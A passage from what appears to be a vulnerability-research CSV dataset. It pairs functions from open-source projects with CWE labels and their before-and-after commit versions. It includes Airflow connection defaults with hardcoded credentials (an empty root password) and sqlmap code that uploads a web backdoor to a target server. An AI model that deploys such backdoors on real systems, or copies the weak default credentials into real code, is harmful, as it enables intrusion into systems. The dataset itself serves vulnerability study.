        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()

    if rbac:
        from flask_appbuilder.security.sqla import models
        from flask_appbuilder.models.sqla import Base
        Base.metadata.create_all(settings.engine)",CWE-259,apache/airflow,35da9e6b0f5585b9bee04e7fe5f6f57e03263bf9,"def initdb(rbac=False):
    session = settings.Session()

    from airflow import models
    upgradedb()

    merge_conn(
        models.Connection(
            conn_id='airflow_db', conn_type='mysql',
            host='mysql', login='root', password='',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='beeline_default', conn_type='beeline', port=""10000"",
            host='localhost', extra=""{\""use_beeline\"": true, \""auth\"": \""\""}"",
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='bigquery_default', conn_type='google_cloud_platform',
            schema='default'))
    merge_conn(
        models.Connection(
            conn_id='local_mysql', conn_type='mysql',
            host='localhost', login='airflow', password='airflow',
            schema='airflow'))
    merge_conn(
        models.Connection(
            conn_id='presto_default', conn_type='presto',
            host='localhost',
            schema='hive', port=3400))
    merge_conn(
        models.Connection(
            conn_id='google_cloud_default', conn_type='google_cloud_platform',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hive_cli_default', conn_type='hive_cli',
            schema='default',))
    merge_conn(
        models.Connection(
            conn_id='hiveserver2_default', conn_type='hiveserver2',
            host='localhost',
            schema='default', port=10000))
    merge_conn(
        models.Connection(
            conn_id='metastore_default', conn_type='hive_metastore',
            host='localhost', extra=""{\""authMechanism\"": \""PLAIN\""}"",
            port=9083))
    merge_conn(
        models.Connection(
            conn_id='mongo_default', conn_type='mongo',
            host='mongo', port=27017))
    merge_conn(
        models.Connection(
            conn_id='mysql_default', conn_type='mysql',
            login='root',
            schema='airflow',
            host='mysql'))
    merge_conn(
        models.Connection(
            conn_id='postgres_default', conn_type='postgres',
            login='postgres',
            password='airflow',
            schema='airflow',
            host='postgres'))
    merge_conn(
        models.Connection(
            conn_id='sqlite_default', conn_type='sqlite',
            host='/tmp/sqlite_default.db'))
    merge_conn(
        models.Connection(
            conn_id='http_default', conn_type='http',
            host='https://www.google.com/'))
    merge_conn(
        models.Connection(
            conn_id='mssql_default', conn_type='mssql',
            host='localhost', port=1433))
    merge_conn(
        models.Connection(
            conn_id='vertica_default', conn_type='vertica',
            host='localhost', port=5433))
    merge_conn(
        models.Connection(
            conn_id='wasb_default', conn_type='wasb',
            extra='{""sas_token"": null}'))
    merge_conn(
        models.Connection(
            conn_id='webhdfs_default', conn_type='hdfs',
            host='localhost', port=50070))
    merge_conn(
        models.Connection(
            conn_id='ssh_default', conn_type='ssh',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='sftp_default', conn_type='sftp',
            host='localhost', port=22, login='airflow',
            extra='''
                {""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}
            '''))
    merge_conn(
        models.Connection(
            conn_id='fs_default', conn_type='fs',
            extra='{""path"": ""/""}'))
    merge_conn(
        models.Connection(
            conn_id='aws_default', conn_type='aws',
            extra='{""region_name"": ""us-east-1""}'))
    merge_conn(
        models.Connection(
            conn_id='spark_default', conn_type='spark',
            host='yarn', extra='{""queue"": ""root.default""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_broker_default', conn_type='druid',
            host='druid-broker', port=8082, extra='{""endpoint"": ""druid/v2/sql""}'))
    merge_conn(
        models.Connection(
            conn_id='druid_ingest_default', conn_type='druid',
            host='druid-overlord', port=8081, extra='{""endpoint"": ""druid/indexer/v1/task""}'))
    merge_conn(
        models.Connection(
            conn_id='redis_default', conn_type='redis',
            host='localhost', port=6379,
            extra='{""db"": 0}'))
    merge_conn(
        models.Connection(
            conn_id='sqoop_default', conn_type='sqoop',
            host='rmdbs', extra=''))
    merge_conn(
        models.Connection(
            conn_id='emr_default', conn_type='emr',
            extra='''
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            '''))
    merge_conn(
        models.Connection(
            conn_id='databricks_default', conn_type='databricks',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='qubole_default', conn_type='qubole',
            host='localhost'))
    merge_conn(
        models.Connection(
            conn_id='segment_default', conn_type='segment',
            extra='{""write_key"": ""my-segment-write-key""}')),
    merge_conn(
        models.Connection(
            conn_id='azure_data_lake_default', conn_type='azure_data_lake',
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }'))
    merge_conn(
        models.Connection(
            conn_id='cassandra_default', conn_type='cassandra',
            host='cassandra', port=9042))

    # Known event types
    KET = models.KnownEventType
    if not session.query(KET).filter(KET.know_event_type == 'Holiday').first():
        session.add(KET(know_event_type='Holiday'))
    if not session.query(KET).filter(KET.know_event_type == 'Outage').first():
        session.add(KET(know_event_type='Outage'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Natural Disaster').first():
        session.add(KET(know_event_type='Natural Disaster'))
    if not session.query(KET).filter(
            KET.know_event_type == 'Marketing Campaign').first():
        session.add(KET(know_event_type='Marketing Campaign'))
    session.commit()

    dagbag = models.DagBag()
    # Save individual DAGs in the ORM
    for dag in dagbag.dags.values():
        dag.sync_to_db()
    # Deactivate the unknown ones
    models.DAG.deactivate_unknown_dags(dagbag.dags.keys())

    Chart = models.Chart
    chart_label = ""Airflow task instance by type""
    chart = session.query(Chart).filter(Chart.label == chart_label).first()
    if not chart:
        chart = Chart(
            label=chart_label,
            conn_id='airflow_db',
            chart_type='bar',
            x_is_date=False,
            sql=(
                ""SELECT state, COUNT(1) as number ""
                ""FROM task_instance ""
                ""WHERE dag_id LIKE 'example%' ""
                ""GROUP BY state""),
        )
        session.add(chart)
        session.commit()

    if rbac:
        from flask_appbuilder.security.sqla import models
        from flask_appbuilder.models.sqla import Base
        Base.metadata.create_all(settings.engine)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/hooks/dataflow.py,0,"def __init__(
        self,
        dataflow: Any,
        project_number: str,
        location: str,
        poll_sleep: int = 10,
        name: Optional[str] = None,
        job_id: Optional[str] = None,
        num_retries: int = 0,
        multiple_jobs: bool = False,
        drain_pipeline: bool = False,
        cancel_timeout: Optional[int] = 5 * 60,
        wait_until_finished: Optional[bool] = None,
    ) -> None:

        super().__init__()
        self._dataflow = dataflow
        self._project_number = project_number
        self._job_name = name
        self._job_location = location
        self._multiple_jobs = multiple_jobs
        self._job_id = job_id
        self._num_retries = num_retries
        self._poll_sleep = poll_sleep
        self._cancel_timeout = cancel_timeout
        self._jobs: Optional[List[dict]] = None
        self.drain_pipeline = drain_pipeline
        self._wait_until_finished = wait_until_finished",CWE-Unknown,apache/airflow,43efde6230487b003f715e04d195126f63f261ff,"def __init__(
        self,
        dataflow: Any,
        project_number: str,
        location: str,
        poll_sleep: int = 10,
        name: Optional[str] = None,
        job_id: Optional[str] = None,
        num_retries: int = 0,
        multiple_jobs: bool = False,
        drain_pipeline: bool = False,
        cancel_timeout: Optional[int] = 5 * 60,
        wait_until_finished: Optional[bool] = None,
    ) -> None:

        super().__init__()
        self._dataflow = dataflow
        self._project_number = project_number
        self._job_name = name
        self._job_location = location
        self._multiple_jobs = multiple_jobs
        self._job_id = job_id
        self._num_retries = num_retries
        self._poll_sleep = poll_sleep
        self._cancel_timeout = cancel_timeout
        self._jobs: Optional[List[dict]] = None
        self.drain_pipeline = drain_pipeline
        self._wait_until_finished = wait_until_finished
        self._jobs: Optional[List[dict]] = None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/ti_deps/deps/test_dagrun_id_dep.py,0,"def test_dagrun_id_is_backfill(self):
        """"""
        Task instances whose dagrun ID is a backfill dagrun ID should fail this dep.
        """"""
        dagrun = DagRun()
        dagrun.run_id = f""{DagRunType.BACKFILL_JOB.value}__something""
        ti = Mock(get_dagrun=Mock(return_value=dagrun))
        self.assertFalse(DagrunIdDep().is_met(ti=ti))",CWE-Unknown,apache/airflow,3e2323561f7ddafb944b20f90748c184006eda16,"def test_dagrun_id_is_backfill(self):
        """"""
        Task instances whose dagrun ID is a backfill dagrun ID should fail this dep.
        """"""
        dagrun = DagRun()
        dagrun.run_id = DagRunType.BACKFILL_JOB.value + '_something'
        ti = Mock(get_dagrun=Mock(return_value=dagrun))
        self.assertFalse(DagrunIdDep().is_met(ti=ti))"
,UNKNOWN,UNKNOWN,tests/tracking/fluent/test_fluent.py,1,"def test_log_input(tmp_path):
    df = pd.DataFrame([[1, 2, 3], [1, 2, 3]], columns=[""a"", ""b"", ""c""])
    path = tmp_path / ""temp.csv""
    df.to_csv(path)
    dataset = from_pandas(df, source=path)
    with start_run() as run:
        mlflow.log_input(dataset, ""train"")
    dataset_inputs = MlflowClient().get_run(run.info.run_id).inputs.dataset_inputs

    assert len(dataset_inputs) == 1
    assert dataset_inputs[0].dataset.name == ""dataset""
    assert dataset_inputs[0].dataset.digest == ""f0f3e026""
    assert dataset_inputs[0].dataset.source_type == ""local""
    assert json.loads(dataset_inputs[0].dataset.source) == {""uri"": str(path)}
    assert json.loads(dataset_inputs[0].dataset.schema) == {
        ""mlflow_colspec"": [
            {""name"": ""a"", ""type"": ""long""},
            {""name"": ""b"", ""type"": ""long""},
            {""name"": ""c"", ""type"": ""long""},
        ]
    }
    assert json.loads(dataset_inputs[0].dataset.profile) == {""num_rows"": 2, ""num_elements"": 6}

    assert len(dataset_inputs[0].tags) == 1
    assert dataset_inputs[0].tags[0].key == mlflow_tags.MLFLOW_DATASET_CONTEXT
    assert dataset_inputs[0].tags[0].value == ""train""",CWE-703,mlflow/mlflow,db20dbda08e566ef4d812fea1608dbf864c832c1,"def test_log_input(tmp_path):
    df = pd.DataFrame([[1, 2, 3], [1, 2, 3]], columns=[""a"", ""b"", ""c""])
    path = tmp_path / ""temp.csv""
    df.to_csv(path)
    dataset = from_pandas(df, source=path)
    with start_run() as run:
        mlflow.log_input(dataset, ""train"")
    dataset_inputs = MlflowClient().get_run(run.info.run_id).inputs.dataset_inputs

    assert len(dataset_inputs) == 1
    assert dataset_inputs[0].dataset.name == ""placeholder_name""
    assert dataset_inputs[0].dataset.digest == ""f0f3e026""
    assert dataset_inputs[0].dataset.source_type == ""local""
    assert json.loads(dataset_inputs[0].dataset.source) == {""uri"": str(path)}
    assert json.loads(dataset_inputs[0].dataset.schema) == {
        ""mlflow_colspec"": [
            {""name"": ""a"", ""type"": ""long""},
            {""name"": ""b"", ""type"": ""long""},
            {""name"": ""c"", ""type"": ""long""},
        ]
    }
    assert json.loads(dataset_inputs[0].dataset.profile) == {""num_rows"": 2, ""num_elements"": 6}

    assert len(dataset_inputs[0].tags) == 1
    assert dataset_inputs[0].tags[0].key == mlflow_tags.MLFLOW_DATASET_CONTEXT
    assert dataset_inputs[0].tags[0].value == ""train"""
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/stack_context_test.py,0,"def test_yield_in_with(self):
        @gen.engine
        def f():
            try:
                with StackContext(functools.partial(self.context, 'c1')):
                    # This yield is a problem: the generator will be suspended
                    # and the StackContext's __exit__ is not called yet, so
                    # the context will be left on _state.contexts for anything
                    # that runs before the yield resolves.
                    yield gen.Task(self.io_loop.add_callback)
            except StackContextInconsistentError:
                # In python <= 3.3, this suspended generator is never garbage
                # collected, so it remains suspended in the 'yield' forever.
                # Starting in 3.4, it is made collectable by raising
                # a GeneratorExit exception from the yield, which gets
                # converted into a StackContextInconsistentError by the
                # exit of the 'with' block.
                pass

        with self.assertRaises(StackContextInconsistentError):
            f()
            self.wait()",CWE-Unknown,tornadoweb/tornado,8bd3ef08805e680d4a42835d0e9a3a26594584c2,"def test_yield_in_with(self):
        @gen.engine
        def f():
            with StackContext(functools.partial(self.context, 'c1')):
                # This yield is a problem: the generator will be suspended
                # and the StackContext's __exit__ is not called yet, so
                # the context will be left on _state.contexts for anything
                # that runs before the yield resolves.
                yield gen.Task(self.io_loop.add_callback)

        with self.assertRaises(StackContextInconsistentError):
            f()
            self.wait()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/util.py,0,"def __getattr__(self, attr):
        if attr in self.__dict__:
            return self.__dict__[attr]
        else:
            return getattr(self.cursor, attr)",CWE-Unknown,django/django,732074541a17cde1d6d634007949d8a8c83cdc1a,"def __getattr__(self, attr):
        if attr in self.__dict__:
            return self.__dict__[attr]
        else:
            return getattr(self.cursor, attr)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/pkey.py,0,"def __init__(self, msg=None, data=None):
        """"""
        Create a new instance of this public key type.  If ``msg`` is given,
        the key's public part(s) will be filled in from the message.  If
        ``data`` is given, the key's public part(s) will be filled in from
        the string.

        :param .Message msg:
            an optional SSH `.Message` containing a public key of this type.
        :param bytes data:
            optional, the bytes of a public key of this type

        :raises: `.SSHException` --
            if a key cannot be created from the ``data`` or ``msg`` given, or
            no key was passed in.
        """"""
        pass",,paramiko/paramiko,50a6004ddd642a73520b780899740c4e660b7762,"def __init__(self, msg=None, data=None):
        """"""
        Create a new instance of this public key type.  If ``msg`` is given,
        the key's public part(s) will be filled in from the message.  If
        ``data`` is given, the key's public part(s) will be filled in from
        the string.

        :param .Message msg:
            an optional SSH `.Message` containing a public key of this type.
        :param str data: an optional string containing a public key
            of this type

        :raises: `.SSHException` --
            if a key cannot be created from the ``data`` or ``msg`` given, or
            no key was passed in.
        """"""
        pass"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www_rbac/views.py,0,"def get_safe_url(url):
    """"""Given a user-supplied URL, ensure it points to our web server""""""
    try:
        valid_schemes = ['http', 'https', '']
        valid_netlocs = [request.host, '']

        if not url:
            return url_for('Airflow.index')

        parsed = urlparse(url)

        # If the url is relative & it contains semicolon, redirect it to homepage to avoid
        # potential XSS. (Similar to https://github.com/python/cpython/pull/24297/files (bpo-42967))
        if parsed.netloc == '' and parsed.scheme == '' and ';' in unquote(url):
            return url_for('Airflow.index')

        query = parse_qsl(parsed.query, keep_blank_values=True)

        # Remove all the query elements containing semicolon
        # As part of https://github.com/python/cpython/pull/24297/files (bpo-42967)
        # semicolon was already removed as a separator for query arguments by default
        sanitized_query = [query_arg for query_arg in query if ';' not in query_arg[1]]
        url = parsed._replace(query=urlencode(sanitized_query)).geturl()

        if parsed.scheme in valid_schemes and parsed.netloc in valid_netlocs:
            return url
    except Exception as e:  # pylint: disable=broad-except
        logging.debug(""Error validating value in origin parameter passed to URL: %s"", url)
        logging.debug(""Error: %s"", e)
        pass

    return url_for('Airflow.index')",CWE-Unknown,apache/airflow,c6369beed53d41c0a70415b0d958bf0604124ad7,"def get_safe_url(url):
    """"""Given a user-supplied URL, ensure it points to our web server""""""
    try:
        valid_schemes = ['http', 'https', '']
        valid_netlocs = [request.host, '']

        if not url:
            return url_for('Airflow.index')

        parsed = urlparse(url)

        query = parse_qsl(parsed.query, keep_blank_values=True)
        url = parsed._replace(query=urlencode(query)).geturl()
        if parsed.scheme in valid_schemes and parsed.netloc in valid_netlocs:
            return url
    except Exception as e:  # pylint: disable=broad-except
        logging.debug(""Error validating value in origin parameter passed to URL: %s"", url)
        logging.debug(""Error: %s"", e)
        pass

    return url_for('Airflow.index')"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/modscan.py,0,"def calculate(self):
        ## Here we scan the physical address space
        address_space = utils.load_as(self._config, astype = 'physical')

        ## We need the kernel_address_space later
        self.kernel_address_space = utils.load_as(self._config)

        scanner = PoolScanModuleFast()
        for offset in scanner.scan(address_space):
            ldr_entry = obj.Object('_LDR_DATA_TABLE_ENTRY', vm = address_space,
                                  offset = offset)
            yield ldr_entry",,volatilityfoundation/volatility,e320cb8861b218cf310932f45364de94ffb1d7a9,"def calculate(self):
        ## Here we scan the physical address space
        address_space = utils.load_as(self._config, astype = 'physical')

        ## We need the kernel_address_space later
        self.kernel_address_space = utils.load_as(self._config)

        scanner = PoolScanModuleFast()
        for offset in scanner.scan(address_space):
            ldr_entry = obj.Object('_LDR_DATA_TABLE_ENTRY', vm = address_space,
                                  offset = offset)
            yield ldr_entry"
,UNKNOWN,UNKNOWN,tests/integration/shell/cp.py,1,"def test_issue_7754(self):
        try:
            old_cwd = os.getcwd()
        except OSError:
            # Jenkins throws an OSError from os.getcwd()??? Let's not worry
            # about it
            old_cwd = None

        config_dir = os.path.join(integration.TMP, 'issue-7754')
        if not os.path.isdir(config_dir):
            os.makedirs(config_dir)

        os.chdir(config_dir)

        config_file_name = 'master'
        config = yaml.load(
            open(self.get_config_file_path(config_file_name), 'r').read()
        )
        config['log_file'] = 'file:///dev/log/LOG_LOCAL3'
        open(os.path.join(config_dir, config_file_name), 'w').write(
            yaml.dump(config, default_flow_style=False)
        )

        ret = self.run_script(
            self._call_binary_,
            '--config-dir {0} \'*\' test.ping'.format(
                config_dir
            ),
            timeout=15,
            catch_stderr=True,
            with_retcode=True
        )
        try:
            self.assertIn('local:', ret[0])
            self.assertFalse(os.path.isdir(os.path.join(config_dir, 'file:')))
        except AssertionError:
            # We now fail when we're unable to properly set the syslog logger
            self.assertIn(
                'Failed to setup the Syslog logging handler', '\n'.join(ret[1])
            )
            self.assertEqual(ret[2], 2)
        finally:
            if old_cwd is not None:
                os.chdir(old_cwd)
            if os.path.isdir(config_dir):
                shutil.rmtree(config_dir)",CWE-20,saltstack/salt,bdadb45c5ffdbcdfb2ced6682ceb941454282717,"def test_issue_7754(self):
        try:
            old_cwd = os.getcwd()
        except OSError:
            # Jenkins throws an OSError from os.getcwd()??? Let's not worry
            # about it
            old_cwd = None

        config_dir = os.path.join(integration.TMP, 'issue-7754')
        if not os.path.isdir(config_dir):
            os.makedirs(config_dir)

        os.chdir(config_dir)

        config_file_name = 'master'
        config = yaml.load(
            open(self.get_config_file_path(config_file_name), 'r').read()
        )
        config['log_file'] = 'file:///dev/log/LOG_LOCAL3'
        open(os.path.join(config_dir, config_file_name), 'w').write(
            yaml.dump(config, default_flow_style=False)
        )

        self.run_script(
            self._call_binary_,
            '--config-dir {0} \'*\' test.ping'.format(
                config_dir
            ),
            timeout=15
        )
        try:
            self.assertFalse(os.path.isdir(os.path.join(config_dir, 'file:')))
        finally:
            if old_cwd is not None:
                os.chdir(old_cwd)
            if os.path.isdir(config_dir):
                shutil.rmtree(config_dir)"
,UNKNOWN,UNKNOWN,tests/utils/test_requirements_utils.py,1,"def test_prune_packages():
    assert _prune_packages([""mlflow""]) == {""mlflow""}
    assert _prune_packages([""mlflow"", ""packaging""]) == {""mlflow""}
    assert _prune_packages([""mlflow"", ""scikit-learn""]) == {""mlflow""}",CWE-703,mlflow/mlflow,61c826c74ed6a11a77d4474833b54282346bdf46,"def test_prune_packages():
    assert _prune_packages([""mlflow""]) == {""mlflow""}
    assert _prune_packages([""mlflow"", ""packaging""]) == {""mlflow""}
    assert _prune_packages([""mlflow"", ""scikit-learn""]) == {""mlflow"", ""scikit-learn""}"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the uploader agent""
        logger.info(infoMsg)

        message  = ""which web application language does the web server ""
        message += ""support?\n""
        message += ""[1] ASP%s\n"" % ("" (default)"" if kb.os == ""Windows"" else """")
        message += ""[2] PHP%s\n"" % ("""" if kb.os == ""Windows"" else "" (default)"")
        message += ""[3] JSP""

        while True:
            choice = readInput(message, default=""1"" if kb.os == ""Windows"" else ""2"")

            if not choice or choice == ""2"":
                self.webApi = ""php""
                break

            elif choice == ""1"":
                self.webApi = ""asp""
                break

            elif choice == ""3"":
                errMsg  = ""JSP web backdoor functionality is not yet ""
                errMsg += ""implemented""
                raise sqlmapUnsupportedDBMSException(errMsg)

            elif not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn(""invalid value, it must be 1 or 3"")

        kb.docRoot  = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()
        
        uploaderName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""uploader.%s_"" % self.webApi))
        
        for directory in directories:
            # Upload the uploader agent
            self.__webFileInject(uploaderContent, uploaderName, directory)
            
            requestDir  = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), ""/"")
            if isWindowsPath(requestDir):
                requestDir = requestDir[2:]
            requestDir  = normalizePath(requestDir)
            
            self.webBaseUrl     = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webUploaderUrl = ""%s/%s"" % (self.webBaseUrl.rstrip('/'), uploaderName)
            self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace(""./"", ""/""))
            uplPage, _  = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
            
            if ""sqlmap file uploader"" not in uplPage:
                warnMsg  = ""unable to upload the uploader ""
                warnMsg += ""agent on '%s'"" % directory
                logger.warn(warnMsg)

                continue

            infoMsg  = ""the uploader agent has been successfully uploaded ""
            infoMsg += ""on '%s' ('%s')"" % (directory, self.webUploaderUrl)
            logger.info(infoMsg)
            
            if self.webApi == ""asp"":
                runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl.rstrip('/'), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == ""Windows"" else directory):
                    warnMsg  = ""backdoor hasn't been successfully uploaded ""
                    warnMsg += ""with uploader probably because of permission ""
                    warnMsg += ""issues.""
                    logger.warn(warnMsg)

                    message  = ""do you want to try the same method used ""
                    message += ""for uploader? [y/N] ""
                    getOutput = readInput(message, default=""N"")

                    if getOutput in (""y"", ""Y""):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory
                    
            infoMsg  = ""the backdoor has probably been successfully ""
            infoMsg += ""uploaded on '%s', go with your browser "" % self.webDirectory
            infoMsg += ""to '%s' and enjoy it!"" % self.webBackdoorUrl
            logger.info(infoMsg)

            break",,sqlmapproject/sqlmap,2f452480b3c5b9d64dee8ac6b4c2fc51551d864a,"def webInit(self):
        """"""
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """"""

        if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = ""trying to upload the uploader agent""
        logger.info(infoMsg)

        message  = ""which web application language does the web server ""
        message += ""support?\n""
        message += ""[1] ASP%s\n"" % "" (default)"" if kb.os == ""Windows"" else """"
        message += ""[2] PHP%s\n"" % """" if kb.os == ""Windows"" else "" (default)""
        message += ""[3] JSP""

        while True:
            choice = readInput(message, default=""1"" if kb.os == ""Windows"" else ""2"")

            if not choice or choice == ""2"":
                self.webApi = ""php""
                break

            elif choice == ""1"":
                self.webApi = ""asp""
                break

            elif choice == ""3"":
                errMsg  = ""JSP web backdoor functionality is not yet ""
                errMsg += ""implemented""
                raise sqlmapUnsupportedDBMSException(errMsg)

            elif not choice.isdigit():
                logger.warn(""invalid value, only digits are allowed"")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn(""invalid value, it must be 1 or 3"")

        kb.docRoot  = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = ""tmpb%s.%s"" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, ""backdoor.%s_"" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()
        
        uploaderName = ""tmpu%s.%s"" % (randomStr(lowercase=True), self.webApi)
        uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ""uploader.%s_"" % self.webApi))
        
        for directory in directories:
            # Upload the uploader agent
            self.__webFileInject(uploaderContent, uploaderName, directory)
            
            requestDir  = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), ""/"")
            if isWindowsPath(requestDir):
                requestDir = requestDir[2:]
            requestDir  = normalizePath(requestDir)
            
            self.webBaseUrl     = ""%s://%s:%d%s"" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webUploaderUrl = ""%s/%s"" % (self.webBaseUrl.rstrip('/'), uploaderName)
            self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace(""./"", ""/""))
            uplPage, _  = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
            
            if ""sqlmap file uploader"" not in uplPage:
                warnMsg  = ""unable to upload the uploader ""
                warnMsg += ""agent on '%s'"" % directory
                logger.warn(warnMsg)

                continue

            infoMsg  = ""the uploader agent has been successfully uploaded ""
            infoMsg += ""on '%s' ('%s')"" % (directory, self.webUploaderUrl)
            logger.info(infoMsg)
            
            if self.webApi == ""asp"":
                runcmdName = ""tmpe%s.exe"" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                match = re.search(r'input type=hidden name=scriptsdir value=""([^""]+)""', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace(""WRITABLE_DIR"", backdoorDirectory).replace(""RUNCMD_EXE"", runcmdName)
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = ""%s/Scripts/%s"" % (self.webBaseUrl.rstrip('/'), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == ""Windows"" else directory):
                    warnMsg  = ""backdoor hasn't been successfully uploaded ""
                    warnMsg += ""with uploader probably because of permission ""
                    warnMsg += ""issues.""
                    logger.warn(warnMsg)

                    message  = ""do you want to try the same method used ""
                    message += ""for uploader? [y/N] ""
                    getOutput = readInput(message, default=""N"")

                    if getOutput in (""y"", ""Y""):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = ""%s/%s"" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory
                    
            infoMsg  = ""the backdoor has probably been successfully ""
            infoMsg += ""uploaded on '%s', go with your browser "" % self.webDirectory
            infoMsg += ""to '%s' and enjoy it!"" % self.webBackdoorUrl
            logger.info(infoMsg)

            break"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/outband/stacked.py,0,"def stackedTest():
    if conf.direct:
        return
